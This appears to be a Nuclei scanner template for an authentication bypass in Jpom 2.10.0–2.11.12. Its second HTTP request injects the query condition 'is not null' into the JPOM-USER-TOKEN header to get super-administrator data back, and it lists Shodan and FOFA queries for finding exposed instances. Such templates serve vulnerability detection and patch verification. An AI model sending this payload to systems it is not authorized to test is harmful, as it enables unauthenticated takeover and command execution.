id: CVE-2026-120201 info: name: Jpom 2.10.0-2.11.12 - Authentication Bypass author: 0x_Akoko severity: critical description: | Jpom 2.10.0 through 2.11.12 contains an authentication bypass caused by injection of query conditions into the JPOM-USER-TOKEN header, letting unauthenticated attackers gain super-administrator access and execute commands, exploit requires crafted header injection. impact: | Unauthenticated attackers can gain super-administrator access and execute arbitrary commands, leading to full system compromise. remediation: | Update to version later than 2.11.12 or latest available version. reference: - https://github.com/dromara/Jpom/issues/121 - https://nvd.nist.gov/vuln/detail/CVE-2026-120201 - https://www.vulncheck.com/advisories/jpom-2.10.0-through-2.11.12-authentication-bypass-via-jpom-user-token-header - https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/common/interceptor/LoginInterceptor.java#L146 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-120201 epss-score: 0.02215 epss-percentile: 0.8276 cwe-id: CWE-943 metadata: verified: true max-request: 2 vendor: dromara product: jpom shodan-query: http.title:"Jpom" fofa-query: title="Jpom" tags: cve,cve2026,jpom,dromara,auth-bypass,unauth flow: http(1) && http(2) http: - raw: - | POST /user/user-basic-info HTTP/1.1 Host: {{Hostname}} Content-Type: application/json matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - '!contains(body, "md5Token")' condition: and internal: true - raw: - | POST /user/user-basic-info HTTP/1.1 Host: {{Hostname}} Content-Type: application/json JPOM-USER-TOKEN: is not null matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'contains_all(body, "md5Token", "systemUser", "success")' condition: and # digest: 4a0a00473045022100d9dbe5386e3c5160a9d8a0bb658687db5c1ac44cea158d14da994f5a222d73cd0220074397272423a44a0904dab6cdf7e753dc14885138d5bb02c6352f6875e13e8c:922c64590222798bb761d5b6d8e72950